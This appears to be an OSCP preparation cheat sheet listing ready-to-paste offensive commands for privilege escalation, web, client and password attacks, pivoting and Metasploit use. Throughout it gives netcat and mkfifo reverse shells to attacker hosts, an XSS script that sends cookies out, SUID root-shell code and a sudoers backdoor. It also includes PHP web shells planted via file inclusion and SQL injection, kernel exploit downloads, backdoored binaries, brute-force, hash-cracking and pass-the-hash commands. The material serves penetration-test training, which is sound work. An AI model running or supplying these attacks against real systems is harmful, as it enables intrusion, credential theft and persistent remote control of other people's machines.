Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.
Linux Privilege Escalation
- Defacto Linux Privilege Escalation Guide - A much more through guide for linux enumeration:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
- Try the obvious - Maybe the user can sudo to root:
sudo su - Here are the commands I have learned to use to perform linux enumeration and privledge escalation:What services are running as root?:
ps aux | grep rootWhat files run as root / SUID / GUID?:find / -perm +2000 -user root -type f -print find / -perm -1000 -type d 2>/dev/null # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here. find / -perm -g=s -type f 2>/dev/null # SGID (chmod 2000) - run as the group, not the user who started it. find / -perm -u=s -type f 2>/dev/null # SUID (chmod 4000) - run as the owner, not the user who started it. find / -perm -g=s -o -perm -u=s -type f 2>/dev/null # SGID or SUID for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/nullWhat folders are world writeable?:find / -writable -type d 2>/dev/null # world-writeable folders find / -perm -222 -type d 2>/dev/null # world-writeable folders find / -perm -o w -type d 2>/dev/null # world-writeable folders find / -perm -o x -type d 2>/dev/null # world-executable folders find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # world-writeable & executable folders - There are a few scripts that can automate the linux enumeration process:
- Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course.
- LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -
- LinEnum - (Recently Updated)
- linux-exploit-suggester (Recently Updated)
- Highon.coffee Linux Local Enum - Great enumeration script!
wget https://highon.coffee/downloads/linux-local-enum.sh - Linux Privilege Exploit Suggester (Old has not been updated in years)
- Linux post exploitation enumeration and exploit checking tools
Handy Kernel Exploits
- CVE-2010-2959 - 'CAN BCM' Privilege Escalation - Linux Kernel < 2.6.36-rc1 (Ubuntu 10.04 / 2.6.32)
wget -O i-can-haz-modharden.c http://www.exploit-db.com/download/14814 $ gcc i-can-haz-modharden.c -o i-can-haz-modharden $ ./i-can-haz-modharden [+] launching root shell! # id uid=0(root) gid=0(root) - CVE-2010-3904 - Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
https://www.exploit-db.com/exploits/15285/ - CVE-2012-0056 - Mempodipper - Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
https://git.zx2c4.com/CVE-2012-0056/about/
Linux CVE 2012-0056wget -O exploit.c http://www.exploit-db.com/download/18411 gcc -o mempodipper exploit.c ./mempodipper - CVE-2016-5195 - Dirty Cow - Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
https://dirtycow.ninja/
First existed on 2.6.22 (released in 2007) and was fixed on Oct 18, 2016 - Run a command as a user other than root
sudo -u haxzor /usr/bin/vim /etc/apache2/sites-available/000-default.conf - Add a user or change a password
/usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor echo thePassword | passwd haxzor --stdin - Local Privilege Escalation Exploit in Linux
- SUID (Set owner User ID up on execution)
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.below are some quick copy and paste examples for various shells:SUID C Shell for /bin/bash int main(void){ setresuid(0, 0, 0); system("/bin/bash"); } SUID C Shell for /bin/sh int main(void){ setresuid(0, 0, 0); system("/bin/sh"); } Building the SUID Shell binary gcc -o suid suid.c For 32 bit: gcc -m32 -o suid suid.c - Create and compile an SUID from a limited shell (no file transfer)
echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c gcc privsc.c -o privsc
- Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update - You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444.
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin" echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh chmod +x ssh - SearchSploit
searchsploit –uncsearchsploit apache 2.2 searchsploit "Linux Kernel" searchsploit linux 2.6 | grep -i ubuntu | grep local searchsploit slmail - Kernel Exploit Suggestions for Kernel Version 3.0.0
./usr/share/linux-exploit-suggester/Linux_Exploit_Suggester.pl -k 3.0.0 - Precompiled Linux Kernel Exploits - Super handy if GCC is not installed on the target machine!
- Collect root password
cat /etc/shadow |grep root - Find and display the proof.txt or flag.txt - LOOT!
cat `find / -name proof.txt -print` Windows Privilege Escalation
- Windows Privilege Escalation resource http://www.fuzzysecurity.com/tutorials/16.html
- Try the getsystem command using meterpreter - rarely works but is worth a try.
meterpreter > getsystem - Metasploit Meterpreter Privilege Escalation Guide https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
- Windows Server 2003 and IIS 6.0 WEBDAV Exploiting http://www.r00tsec.com/2011/09/exploiting-microsoft-iis-version-60.html
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=443 -f asp > aspshell.txt cadavar http://$ip dav:/> put aspshell.txt Uploading aspshell.txt to `/aspshell.txt': Progress: [=============================>] 100.0% of 38468 bytes succeeded. dav:/> copy aspshell.txt aspshell3.asp;.txt Copying `/aspshell3.txt' to `/aspshell3.asp%3b.txt': succeeded. dav:/> exit msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 1.2.3.4 msf exploit(handler) > set LPORT 80 msf exploit(handler) > set ExitOnSession false msf exploit(handler) > exploit -j curl http://$ip/aspshell3.asp;.txt [*] Started reverse TCP handler on 1.2.3.4:443 [*] Starting the payload handler... [*] Sending stage (957487 bytes) to 1.2.3.5 [*] Meterpreter session 1 opened (1.2.3.4:443 -> 1.2.3.5:1063) at 2017-09-25 13:10:55 -0700 - Windows privledge escalation exploits are often written in Python. So, it is necessary to compile the using pyinstaller.py into an executable and upload them to the remote server.
pip install pyinstaller wget -O exploit.py http://www.exploit-db.com/download/31853 python pyinstaller.py --onefile exploit.py - Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:
c:\Inetpub>churrasco churrasco /churrasco/-->Usage: Churrasco.exe [-d] "command to run" c:\Inetpub>churrasco -d "net user /add <username> <password>" c:\Inetpub>churrasco -d "net localgroup administrators <username> /add" c:\Inetpub>churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD" - Windows MS11-080 - http://www.exploit-db.com/exploits/18176/
python pyinstaller.py --onefile ms11-080.py mx11-080.exe -O XP - Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:
powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }" - Powershell Priv Escalation Tools https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
- Windows Run As - Switching users in linux is trival with the
SUcommand. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.- Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).
C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe" PsExec v2.2 - Execute processes remotely Copyright (C) 2001-2016 Mark Russinovich Sysinternals - www.sysinternals.com - Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:
C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe" Enter the password for Test: Attempting to start nc.exe as user "COMPUTERNAME\Test" ... - PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.
$username = '<username here>' $password = '<password here>' $securePassword = ConvertTo-SecureString $password -AsPlainText -Force $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\PublicNext run this script using powershell.exe:powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"
- Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.
icacls scsiaccess.exescsiaccess.exe NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(RX) APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX) Everyone:(I)(F) - Compile a custom add user command in windows using C
root@kali:~\# cat useradd.c #include <stdlib.h> /* system, NULL, EXIT_FAILURE */ int main () { int i; i=system ("net localgroup administrators low /add"); return 0; } i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c - Group Policy Preferences (GPP)
A common useful misconfiguration found in modern domain environments is unprotected Windows GPP settings files- map the Domain controller SYSVOL share
net use z:\\dc01\SYSVOL - Find the GPP file: Groups.xml
dir /s Groups.xml - Review the contents for passwords
type Groups.xml - Decrypt using GPP Decrypt
gpp-decrypt riBZpPtHOGtVk+SdLOmJ6xiNgFH6Gp45BoP3I6AnPgZ1IfxtgI67qqZfgh78kBZB
- Find and display the proof.txt or flag.txt - get the loot!
#meterpreter > run post/windows/gather/win_privscd\ & dir /b /s proof.txttype c:\pathto\proof.txt
Client, Web and Password Attacks
Client Attacks
- MS12-037- Internet Explorer 8 Fixed Col Span ID
wget -O exploit.html http://www.exploit-db.com/download/24017
service apache2 start - JAVA Signed Jar client side attack
echo '' > /var/www/html/java.html
User must hit run on the popup that occurs. - Linux Client Shells
http://www.lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/ - Setting up the Client Side Exploit
- Swapping Out the Shellcode
- Injecting a Backdoor Shell into Plink.exe
backdoor-factory -f /usr/share/windows-binaries/plink.exe -H $ip -P 4444 -s reverse_shell_tcp
Web Attacks
- Web Shag Web Application Vulnerability Assessment Platform
webshag-gui - Generate a PHP backdoor (generate) protected with the given password (s3cr3t)
weevely generate s3cr3t
weevely http://$ip/weevely.php s3cr3t - Java Signed Applet Attack
- HTTP / HTTPS Webserver Enumeration
- OWASP Dirbuster
- nikto -h $ip
- Essential Iceweasel Add-ons
Cookies Manager https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus/
Tamper Data
https://addons.mozilla.org/en-US/firefox/addon/tamper-data/ - Cross Site Scripting (XSS)
significant impacts, such as cookie stealing and authentication bypass, redirecting the victim’s browser to a malicious HTML page, and more - Browser Redirection and IFRAME Injection<iframe SRC="http://$ip/report" height = "0" width ="0"></iframe>
- Stealing Cookies and Session Information<script> new image().src="http://$ip/bogus.php?output="+document.cookie; </script>nc -nlvp 80
File Inclusion Vulnerabilities
- Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.
- fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
https://github.com/kurobeats/fimap- Gaining a shell from phpinfo()
fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.
- Gaining a shell from phpinfo()
- For Local File Inclusions look for the include() function in PHP code.
include("lang/".$_COOKIE['lang']);
include($_GET['page'].".php"); - LFI - Encode and Decode a file using base64
curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '[^\ ]\{40,\}' | base64 -d - LFI - Download file with base 64 encoding
http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php - LFI Linux Files:
/etc/issue
/proc/version
/etc/profile
/etc/passwd
/etc/passwd
/etc/shadow
/root/.bash_history
/var/log/dmessage
/var/mail/root
/var/spool/cron/crontabs/root - LFI Windows Files:
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\repair\SAM
%WINDIR%\win.ini
%SYSTEMDRIVE%\boot.ini
%WINDIR%\Panther\sysprep.inf
%WINDIR%\system32\config\AppEvent.Evt - LFI OSX Files:
/etc/fstab
/etc/master.passwd
/etc/resolv.conf
/etc/sudoers
/etc/sysctl.conf - LFI - Download passwords file
http://$ip/index.php?page=/etc/passwd
http://$ip/index.php?file=../../../../etc/passwd - LFI - Download passwords file with filter evasion
http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd - Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts - Contaminating Log Files
<?php echo shell_exec($_GET['cmd']);?> - For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files/etc/php5/cgi/php.ini - "allow_url_fopen" and "allow_url_include" both set to "on"
include($_REQUEST["file"].".php"); - Remote File Inclusion
http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt<?php echo shell\_exec("ipconfig");?>
Database Vulnerabilities
- Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password
mysql -u root -p -h $ip use "Users" show tables; select \* from users; - Authentication Bypass
name='wronguser' or 1=1; name='wronguser' or 1=1 LIMIT 1; - Enumerating the Database
http://192.168.11.35/comment.php?id=738)'Verbose error message?http://$ip/comment.php?id=738 order by 1http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6Determine MySQL Version:http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6Current user being used for the database connection:http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6Enumerate database tables and column structureshttp://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tablesTarget the users table in the databasehttp://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'Extract the name and passwordhttp://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM usersCreate a backdoorhttp://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php' - SQLMap Examples
- Crawl the links
sqlmap -u http://$ip --crawl=1sqlmap -u http://meh.com --forms --batch --crawl=10 --cookie=jsessionid=54321 --level=5 --risk=3 - SQLMap Search for databases against a suspected GET SQL Injection
sqlmap –u http://$ip/blog/index.php?search –dbs - SQLMap dump tables from database oscommerce at GET SQL injection
sqlmap –u http://$ip/blog/index.php?search= –dbs –D oscommerce –tables –dumps - SQLMap GET Parameter command
sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --dump -threads=5 - SQLMap Post Username parameter
sqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --dump-all - SQL Map OS Shell
sqlmap -u http://$ip/comment.php?id=738 --dbms=mysql --osshellsqlmap -u http://$ip/login.php --method=POST --data="usermail=asc@dsd.com&password=1231" -p "usermail" --risk=3 --level=5 --dbms=MySQL --os-shell - Automated sqlmap scan
sqlmap -u TARGET -p PARAM --data=POSTDATA --cookie=COOKIE --level=3 --current-user --current-db --passwords --file-read="/var/www/blah.php" - Targeted sqlmap scan
sqlmap -u "http://meh.com/meh.php?id=1" --dbms=mysql --tech=U --random-agent --dump - Scan url for union + error based injection with mysql backend and use a random user agent + database dump
sqlmap -o -u http://$ip/index.php --forms --dbssqlmap -o -u "http://$ip/form/" --forms - Sqlmap check form for injection
sqlmap -o -u "http://$ip/vuln-form" --forms -D database-name -T users --dump - Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs - Enumerate tables from a specific database
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --tables - Dump table data from a specific database and table
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump - Specify parameter to exploit
sqlmap --dbms=mysql -u "http://www.example.com/param1=value1¶m2=value2" --dbs -p param2 - Specify parameter to exploit in 'nice' URIs (exploits param1)
sqlmap --dbms=mysql -u "http://www.example.com/param1/value1*/param2/value2" --dbs - Get OS shell
sqlmap --dbms=mysql -u "$URL" --os-shell - Get SQL shell
sqlmap --dbms=mysql -u "$URL" --sql-shell - SQL query
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;" - Use Tor Socks5 proxy
sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs
Password Attacks
- AES Decryption
http://aesencryption.net/ - Convert multiple webpages into a word list
for x in 'index' 'about' 'post' 'contact' ; do curl http://$ip/$x.html | html2markdown | tr -s ' ' '\n' >> webapp.txt ; done - Or convert html to word list dict
html2dic index.html.out | sort -u > index-html.dict - Default Usernames and Passwords
- Government Security - Default Logins and Passwords for Networked Devices
- Default Password
http://www.defaultpassword.com/
- Brute Force
- Nmap Brute forcing Scripts
https://nmap.org/nsedoc/categories/brute.html - Nmap Generic auto detect brute force attack
nmap --script brute -Pn <target.com or ip> - MySQL nmap brute force attack
nmap --script=mysql-brute $ip
- Dictionary Files
- Word lists on Kali
cd /usr/share/wordlists
- Word lists on Kali
- Key-space Brute Force
- crunch 6 6 0123456789ABCDEF -o crunch1.txt
- crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha
- crunch 8 8 -t ,@@^^%%%
- Pwdump and Fgdump - Security Accounts Manager (SAM)
- pwdump.exe - attempts to extract password hashes
- fgdump.exe - attempts to kill local antiviruses before attempting to dump the password hashes and cached credentials.
- Windows Credential Editor (WCE)
- allows one to perform several attacks to obtain clear text passwords and hashes
- wce -w
- Mimikatz
- extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
https://github.com/gentilkiwi/mimikatz From metasploit meterpreter (must have System level access):meterpreter> load mimikatz meterpreter> help mimikatz meterpreter> msv meterpreter> kerberos meterpreter> mimikatz_command -f samdump::hashes meterpreter> mimikatz_command -f sekurlsa::searchPasswords
- extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets
- Password Profiling
- cewl can generate a password list from a web page
cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
- cewl can generate a password list from a web page
- Password Mutating
- John the ripper can mutate password lists
nano /etc/john/john.confjohn --wordlist=megacorp-cewl.txt --rules --stdout > mutated.txt
- John the ripper can mutate password lists
- Medusa
- Medusa, initiated against an htaccess protected web directory
medusa -h $ip -u admin -P password-file.txt -M http -m DIR:/admin -T 10
- Medusa, initiated against an htaccess protected web directory
- Ncrack
- ncrack (from the makers of nmap) can brute force RDP
ncrack -vv --user offsec -P password-file.txt rdp://$ip
- ncrack (from the makers of nmap) can brute force RDP
- Hydra
- Hydra brute force against SNMP
hydra -P password-file.txt -v $ip snmp - Hydra FTP known user and password list
hydra -t 1 -l admin -P /root/Desktop/password.lst -vV $ip ftp - Hydra SSH using list of users and passwords
hydra -v -V -u -L users.txt -P passwords.txt -t 1 -u $ip ssh - Hydra SSH using a known password and a username list
hydra -v -V -u -L users.txt -p "<known password>" -t 1 -u $ip ssh - Hydra SSH Against Known username on port 22
hydra $ip -s 22 ssh -l <user> -P big\_wordlist.txt - Hydra POP3 Brute Force
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f $ip pop3 -V - Hydra SMTP Brute Force
hydra -P /usr/share/wordlistsnmap.lst $ip smtp -V - Hydra attack http get 401 login with a dictionary
hydra -L ./webapp.txt -P ./webapp.txt $ip http-get /admin - Hydra attack Windows Remote Desktop with rockyou
hydra -t 1 -V -f -l administrator -P /usr/share/wordlists/rockyou.txt rdp://$ip - Hydra brute force a Wordpress admin login
hydra -l admin -P ./passwordlist.txt $ip -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
Password Hash Attacks
- Online Password Cracking
https://crackstation.net/ - Hashcat Needed to install new drivers to get my GPU Cracking to work on the Kali linux VM and I also had to use the --force parameter. apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev and apt-get install pocl-opencl-icd
Cracking Linux Hashes - /etc/shadow file
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
Cracking Windows Hashes
3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
Cracking Common Application Hashes
900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
10800 | SHA-384 | Raw Hash
1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
Create a .hash file with all the hashes you want to crack puthasheshere.hash:
$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/
Hashcat example cracking Linux md5crypt passwords $1$ using rockyou:
hashcat --force -m 500 -a 0 -o found1.txt --remove puthasheshere.hash /usr/share/wordlists/rockyou.txt
Wordpress sample hash: $P$B55D6LjfHDkINU5wF.v2BuuzO0/XPk/
Wordpress clear text: test
Hashcat example cracking Wordpress passwords using rockyou:
hashcat --force -m 400 -a 0 -o found1.txt --remove wphash.hash /usr/share/wordlists/rockyou.txt- Sample Hashes
[*http://openwall.info/wiki/john/sample-hashes*](http://openwall.info/wiki/john/sample-hashes)
- Identify Hashes
`hash-identifier`
- To crack linux hashes you must first unshadow them:
`unshadow passwd-file.txt shadow-file.txt `
`unshadow passwd-file.txt shadow-file.txt > unshadowed.txt`
- John the Ripper - Password Hash Cracking
john $ip.pwdumpjohn --wordlist=/usr/share/wordlists/rockyou.txt hashesjohn --rules --wordlist=/usr/share/wordlists/rockyou.txtjohn --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt- JTR forced descrypt cracking with wordlist
john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt - JTR forced descrypt brute force cracking
john --format=descrypt hash --show
- Passing the Hash in Windows
- Use Metasploit to exploit one of the SMB servers in the labs. Dump the password hashes and attempt a pass-the-hash attack against another system:
export SMBHASH=aad3b435b51404eeaad3b435b51404ee:6F403D3166024568403A94C3A6561896pth-winexe -U administrator //$ip cmd
Networking, Pivoting and Tunneling
- Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port
apt-get install rinetdcat /etc/rinetd.conf\# bindadress bindport connectaddress connectportw.x.y.z 53 a.b.c.d 80
- SSH Local Port Forwarding: supports bi-directional communication channels
ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
- SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network
ssh <gateway> -R <remote port to bind>:<local host>:<local port>
- SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT
ssh -D <local proxy port> -p <remote port> <target>
- Proxychains - Perform nmap scan within a DMZ from an external computer
- Create reverse SSH tunnel from Popped machine on :2222
ssh -f -N -T -R22222:localhost:22 yourpublichost.example.comssh -f -N -R 2222:<local host>:22 root@<remote host> - Create a Dynamic application-level port forward on 8080 thru 2222
ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host> - Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
proxychains nmap --top-ports=20 -sT -Pn $ip/24
- HTTP Tunneling
nc -vvn $ip 8888 - Traffic Encapsulation - Bypassing deep packet inspection
- http tunnel
On server side:sudo hts -F <server ip addr>:<port of your app> 80On client side:sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel
- http tunnel
- Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
- Tunnel on port 22
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host> - Port 22 blocked? Try port 80? or 443?
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80
- Tunnel Remote Desktop (RDP) from a Popped Windows using HTTP Tunnel (bypass deep packet inspection)
- Windows machine add required firewall rules without prompting the user
netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow program="httptunnel_client.exe" enable=yesnetsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP localport=3000netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP localport=1080netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP localport=1079- Start the http tunnel client
httptunnel_client.exe - Create HTTP reverse shell by connecting to localhost port 3000
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000
- VLAN Hopping
git clone https://github.com/nccgroup/vlan-hopping.git chmod 700 frogger.sh ./frogger.sh
- VPN Hacking
- Identify VPN servers:
./udp-protocol-scanner.pl -p ike $ip - Scan a range for VPN servers:
./udp-protocol-scanner.pl -p ike -f ip.txt - Use IKEForce to enumerate or dictionary attack VPN servers:
pip install pyipgit clone https://github.com/SpiderLabs/ikeforce.gitPerform IKE VPN enumeration with IKEForce:./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dicBruteforce IKE VPN using IKEForce:./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1Use ike-scan to capture the PSK hash:ike-scan ike-scan TARGET-IP ike-scan -A TARGET-IP ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key ike-scan –M –A –n example\_group -P hash-file.txt TARGET-IPUse psk-crack to crack the PSK hashpsk-crack hash-file.txt pskcrack psk-crack -b 5 TARGET-IPkey psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key psk-crack -d /path/to/dictionary-file TARGET-IP-key
- PPTP Hacking
- Identifying PPTP, it listens on TCP: 1723
NMAP PPTP Fingerprint:nmap –Pn -sV -p 1723 TARGET(S)PPTP Dictionary Attackthc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
- Port Forwarding/Redirection
- PuTTY Link tunnel - SSH Tunneling
- Forward remote port to local address:
plink.exe -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>
- SSH Pivoting
- SSH pivoting from one network to another:
ssh -D <local host>:1010 -p 22 user@<remote host>
- DNS Tunneling
- dnscat2 supports “download” and “upload” commands for getting iles (data and programs) to and from the target machine.
- Attacking Machine Installation:
apt-get update apt-get -y install ruby-dev git make g++ gem install bundler git clone https://github.com/iagox86/dnscat2.git cd dnscat2/server bundle install - Run dnscat2:
ruby ./dnscat2.rb dnscat2> New session established: 1422 dnscat2> session -i 1422 - Target Machine:
https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/dnscat --host <dnscat server ip>
The Metasploit Framework
- See Metasploit Unleashed Course in the Essentials
- Search for exploits using Metasploit GitHub framework source code:
https://github.com/rapid7/metasploit-framework
Translate them for use on OSCP LAB or EXAM. - Metasploit
- MetaSploit requires Postfresql
systemctl start postgresql - To enable Postgresql on startup
systemctl enable postgresql
- MSF Syntax
- Start metasploit
msfconsolemsfconsole -q - Show help for command
show -h - Show Auxiliary modules
show auxiliary - Use a module
use auxiliary/scanner/snmp/snmp_enum use auxiliary/scanner/http/webdav_scanner use auxiliary/scanner/smb/smb_version use auxiliary/scanner/ftp/ftp_login use exploit/windows/pop3/seattlelab_pass - Show the basic information for a module
info - Show the configuration parameters for a module
show options - Set options for a module
set RHOSTS 192.168.1.1-254 set THREADS 10 - Run the module
run - Execute an Exploit
exploit - Search for a module
search type:auxiliary login - Metasploit Database Access
- Show all hosts discovered in the MSF database
hosts - Scan for hosts and store them in the MSF database
db_nmap - Search machines for specific ports in MSF database
services -p 443 - Leverage MSF database to scan SMB ports (auto-completed rhosts)
services -p 443 --rhosts
- Staged and Non-staged
- Non-staged payload - is a payload that is sent in its entirety in one go
- Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus
- MS 17-010 - EternalBlue
- You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box. I have never had much luck using the built in Metasploit EternalBlue module. I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video: https://youtu.be/MPocNUglEnM
- First step is to configure the Kali to work with wine 32bit
`dpkg --add-architecture i386 && apt-get update && apt-get install wine32
rm -r ~/.wine
wine cmd.exe
exit`
2. Download the exploit repostory
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb
4. Start metasploit console
I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.
`use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
RHOST => 10.11.1.73
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
PROCESSINJECT => spoolsv.exe
msf exploit(eternalblue_doublepulsar) > run`
- Experimenting with Meterpreter
- Get system information from Meterpreter Shell
sysinfo - Get user id from Meterpreter Shell
getuid - Search for a file
search -f *pass*.txt - Upload a file
upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec - Download a file
